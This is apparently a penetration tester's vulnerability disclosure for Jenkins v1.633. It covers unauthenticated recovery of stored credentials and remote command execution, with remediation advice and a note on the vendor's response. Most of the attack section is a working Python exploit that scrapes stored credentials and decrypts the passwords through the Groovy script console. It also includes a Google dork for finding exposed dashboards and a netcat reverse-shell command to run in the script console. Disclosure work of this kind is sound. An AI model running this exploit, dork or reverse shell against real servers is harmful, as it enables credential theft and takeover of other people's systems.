Justin Massey

Justin Massey

Penetration Tester

Contact Me

Unauthenticated Stored Credential Recovery and Remote Command Execution on Jenkins

Severity: Critical
Author: Th3R3p0
Disclosure Date: 10/14/15
Response Date: 10/14/15
Python Stored Credential Recovery Exploit - Tested on Jenkins v1.633 jenkinsVuln.py

Description

Disclaimer... This has been released to the security community before, but I didn't notice this until after I did extensive research and attempted to disclose the vulnerability to the developers. However, the developers response to the vulnerability is not adequate and should be fixed. Also, I have included a python exploit script which was not previously released.
Update: Jenkins default install now requires users to setup a password now.

The Jenkins dashboard's default configuration does not require a user to authenticate to his or her dashboard when viewing sensitive information such as stored credentials. Allowed for storage in the credential manager are user name and password, SSH username and private key, and a certificate. If an administrator password has not been configured, an anonymous user can recover any of the items stored in the credential manager. The private key is displayed clear text and no steps are needed to recover the key other than navigating to the credential page. However, the password is just a little bit more difficult to recover and requires the built in Groovy scripting engine which is also available without authentication by default. The steps to recovering the password and remote code execution are below in the proof of concept section.

Recommended Remediation Steps

  • At a minimum, by default do not allow a user to store credentials before creating an administrator account.
    • Security Best Practice: Require the user to create an admin login upon install.
  • Do not send the encrypted password in the HTML response to the credential update page. (/credential-store/domain/_/credential/:USERID/update)
  • At a minimum, do not allow an unauthenticated user access to the Script Console.
    • Security Best Practice: Require the user to create an admin login upon install.
  • The script console should not be allowed to access the 'hudson.util.Secret.decrypt' method

Other Security Concerns

An administrator should not be able to decrypt another administrator's password. For example: Admin1 enters his username and password, Admin2 should not be able to decrypt the username and password.

Response by Jenkins






Stored Credential Recovery Proof of Concept

Python Exploit - Tested on Jenkins v1.633
# Exploit Title: Jenkins Unauthenticated Credential Recovery
# Disclosure Date: 10/14/2015
# Response Date: 10/14/2015
# Response: "Recommend this be rejected as a vulnerability."
# Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
# Vendor Homepage: https://jenkins-ci.org/
# Tested on: Jenkins v1.633
# Author = 'Th3R3p0' | Justin Massey
# Google Dork: intitle:"Dashboard [Jenkins]" Credentials

import requests
import re
from BeautifulSoup import BeautifulSoup
import urllib


# Usage: Modify the URL below to match the target host and port
#   Must have trailing slash at end of URL
url='http://192.168.1.151:8080/'

# makes request to gather all users with stored credentials
r= requests.get(url + 'credential-store/domain/_/')
soup = BeautifulSoup(r.text)

# loop to go through all hrefs and match the regex "credential" and add the urls to the users list
users = []
for link in soup.body.findAll('a', href=True):
    m = re.match("credential", link['href'])
    if m:
        if link['href'] not in users:
            users.append(link['href'])

for users in users:
    r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')
    soup2 = BeautifulSoup(r2.text)

    # Finds the user and password value in html and stores in encPass variable
    user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']
    encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']
    # Encodes the password to www-form-urlencoded standards needed for the expected content type
    encPassEncoded = urllib.quote(encPass, safe='')

    # Script to run in groovy scripting engine to decrypt the password
    script = 'script=hudson.util.Secret.decrypt+%%27' \
             '%s'\
             '%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \
             '%s' \
             '%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)

    # Using sessions because the POST requires a session token to be present
    with requests.Session() as s:
        r3 = s.get(url+'script')
        headers = {'content-type': 'application/x-www-form-urlencoded'}
        r3 = s.post(url+'script',data=script, headers=headers)
    soup3 = BeautifulSoup(r3.text)

    # Extracts password from body
    password = soup3.body.findAll('pre')[1].text
    password = re.sub('Result:', '', password)
    print "User: %s | Password:%s" % (user, password)

Step 1: Access a Jenkins Dasbhoard with no authentication:


Step 2: Select a user stored in credentials:


Step 3: Select the option to update user's credentials:


Step 4: View page source, find the form field input "_.password" and copy the value to clipboard:


Step 5: Open the Script Console and use the following script to decrypt the password:
hudson.util.Secret.decrypt 'insertValueHere'


Unauthenticated Remote Shell Proof of Concept

Setup a Netcat listener and execute this command in the script console:
"nc -e /bin/bash 127.0.0.1 8090".execute()